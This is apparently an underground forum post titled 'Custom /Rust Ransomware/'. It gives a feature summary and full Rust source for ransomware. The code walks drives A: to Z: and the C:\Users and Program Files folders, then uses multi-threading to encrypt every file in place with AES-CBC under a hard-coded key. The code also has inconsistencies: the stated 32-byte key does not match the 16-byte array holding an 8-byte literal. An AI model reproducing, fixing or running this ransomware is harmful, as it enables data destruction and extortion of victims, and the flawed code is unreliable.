What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Custom /Rust Ransomware/

9day

Light Weight
Депозит
$0
Currently it does the following:



File Encryption:

The application walks through specified root directories (drives and common system folders) to collect a list of file paths.

It uses multi-threading to process each file concurrently.



Encryption Algorithm:

The files are encrypted using the Advanced Encryption Standard (AES) algorithm in Cipher Block Chaining (CBC) mode.

A fixed encryption key (KEY: [u8; 32]) is used for encryption.



Multi-Threading:

The application utilizes multiple threads to improve performance.

Files are processed concurrently by worker threads, which encrypt the contents in chunks.



Logging:

The application logs its activities using the log crate.

It prints information about the encryption process, errors, and file paths.



GUI:

The GUI is built using the Druid.

The GUI displays a window with a simple message.

The GUI is launched within the main function after processing the files.



Root Paths:

The application specifies a list of root paths to search for files. These paths include various drives (A:\, B:\, etc.) and common system directories.



Error Handling:

The application provides error handling for file operations, encryption errors, and other potential issues.

Код: Скопировать в буфер обмена
Code:
use std::fs::OpenOptions;
use std::io::{Read, Write, BufReader, Seek, SeekFrom};
use std::error::Error;
use walkdir::WalkDir;
use log::{error, info};
use crypto::buffer::{ReadBuffer, RefReadBuffer, RefWriteBuffer, WriteBuffer};
use crypto::aes::{KeySize, cbc_encryptor};
use crypto::blockmodes::PkcsPadding;
use std::sync::{Arc, Mutex};
use std::thread;
use std::sync::mpsc;

const KEY: [u8; 16] = *b"your-key";
const CHUNK_SIZE: usize = 8192; // Set your desired chunk size

#[derive(Debug)]
struct CryptoError;

impl std::fmt::Display for CryptoError {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "CryptoError: SymmetricCipherError")
    }
}

impl std::error::Error for CryptoError {}

fn encrypt_file(file_path: &str) -> Result<(), Box<dyn Error>> {
    info!("Encrypting file: {}", file_path);

    // Open the file in read-write mode
    let file = match OpenOptions::new().read(true).write(true).open(file_path) {
        Ok(file) => file,
        Err(err) => {
            // If opening the file fails (e.g., it's being written by another process), skip this file
            error!("Could not open {}: skipping file. Error: {:?}", file_path, err);
            return Ok(());
        }
    };

    let metadata = std::fs::metadata(file_path)?;
    let original_size = metadata.len();

    let mut reader = BufReader::new(&file);

    // Encrypt the contents of the file in chunks
    let mut read_buffer = [0; CHUNK_SIZE];
    let mut write_buffer = [0; CHUNK_SIZE + 16]; // Assuming 16 bytes for integrity check

    let encryptor = cbc_encryptor(KeySize::KeySize128, &KEY, &[0u8; 16], PkcsPadding);
    let mut encryptor = Box::new(encryptor);

    let mut offset: u64 = 0;

    loop {
        let read_count = match reader.read(&mut read_buffer) {
            Ok(count) => count,
            Err(err) => {
                error!("Error reading from {}: {:?}", file_path, err);
                return Ok(());
            }
        };

        if read_count == 0 {
            break;
        }

        let mut temp_file = match file.try_clone() {
            Ok(temp_file) => temp_file,
            Err(err) => {
                error!("Error cloning file {}: {:?}", file_path, err);
                return Ok(());
            }
        };

        let mut read_buffer = RefReadBuffer::new(&read_buffer[..read_count]);
        let mut write_buffer = RefWriteBuffer::new(&mut write_buffer);

        let _res = match encryptor.encrypt(&mut read_buffer, &mut write_buffer, true) {
            Ok(res) => res,
            Err(err) => {
                error!("Encryption error: {:?}", err);
                return Err(Box::new(CryptoError));
            }
        };

        let write_count = write_buffer.position() as usize;

        // Move the file cursor to the correct position and write the encrypted content
        match temp_file.seek(SeekFrom::Start(offset)) {
            Ok(_) => (),
            Err(err) => {
                error!("Error seeking in {}: {:?}", file_path, err);
                return Ok(());
            }
        }

        if let Err(err) = temp_file.write_all(&write_buffer.take_read_buffer().take_remaining()[..write_count]) {
            error!("Error writing to {}: {:?}", file_path, err);
            return Ok(());
        }

        if let Err(err) = temp_file.flush() {
            error!("Error flushing {}: {:?}", file_path, err);
            return Ok(());
        }

        offset += read_count as u64;
    }

    // Truncate the file to make it appear encrypted
    if let Err(err) = file.set_len(original_size) {
        error!("Error truncating {}: {:?}", file_path, err);
        return Ok(());
    }

    info!("Encrypted: {}", file_path);

    Ok(())
}

fn process_file(file_path: &str) {
    if let Err(err) = encrypt_file(file_path) {
        error!("Error encrypting {}: {:?}", file_path, err);
    }
}

mod gui;

fn main() {
    // Initialize logger
    env_logger::Builder::from_env(env_logger::Env::default().default_filter_or("info"))
        .write_style(env_logger::WriteStyle::Auto)
        .init();

    let root_paths = vec![
        "A:\\",
        "B:\\",
        "D:\\",
        "E:\\",
        "F:\\",
        "G:\\",
        "H:\\",
        "I:\\",
        "J:\\",
        "K:\\",
        "L:\\",
        "M:\\",
        "N:\\",
        "O:\\",
        "P:\\",
        "Q:\\",
        "R:\\",
        "S:\\",
        "T:\\",
        "U:\\",
        "V:\\",
        "W:\\",
        "X:\\",
        "Y:\\",
        "Z:\\",
        "C:\\Users",
        "C:\\Program Files",
        "C:\\Program Files (x86)"
    ];

    let arc_files = Arc::new(Mutex::new(Vec::new()));

    for root_path in root_paths {
        let files: Vec<_> = WalkDir::new(root_path)
            .into_iter()
            .filter_map(|entry| entry.ok())
            .filter(|entry| entry.file_type().is_file())
            .map(|entry| entry.path().to_string_lossy().to_string())
            .collect();

        let mut arc_files = arc_files.lock().unwrap();
        arc_files.extend(files);
    }

    let (tx, rx): (std::sync::mpsc::Sender<()>, std::sync::mpsc::Receiver<()>) = std::sync::mpsc::channel(); // Create a channel for communication

    let handles: Vec<_> = (0..num_cpus::get())
        .map(|_| {
            let arc_files = Arc::clone(&arc_files);
            let tx = tx.clone(); // Clone the sender for each thread
            thread::spawn(move || {
                loop {
                    let file;
                    {
                        let mut files = arc_files.lock().unwrap();
                        file = files.pop();
                    }

                    match file {
                        Some(file) => process_file(&file),
                        None => {
                            // Signal the main thread that this worker is done
                            tx.send(()).unwrap();
                            break;
                        }
                    }
                }
            })
        })
        .collect();

    // Launch the GUI
    gui::run_gui(arc_files.clone(), rx, tx.clone());

    // Wait for all worker threads to finish
    for _ in handles {
        tx.send(()).unwrap(); // Send a message to each worker to exit
    }
}
scr.png
 
Top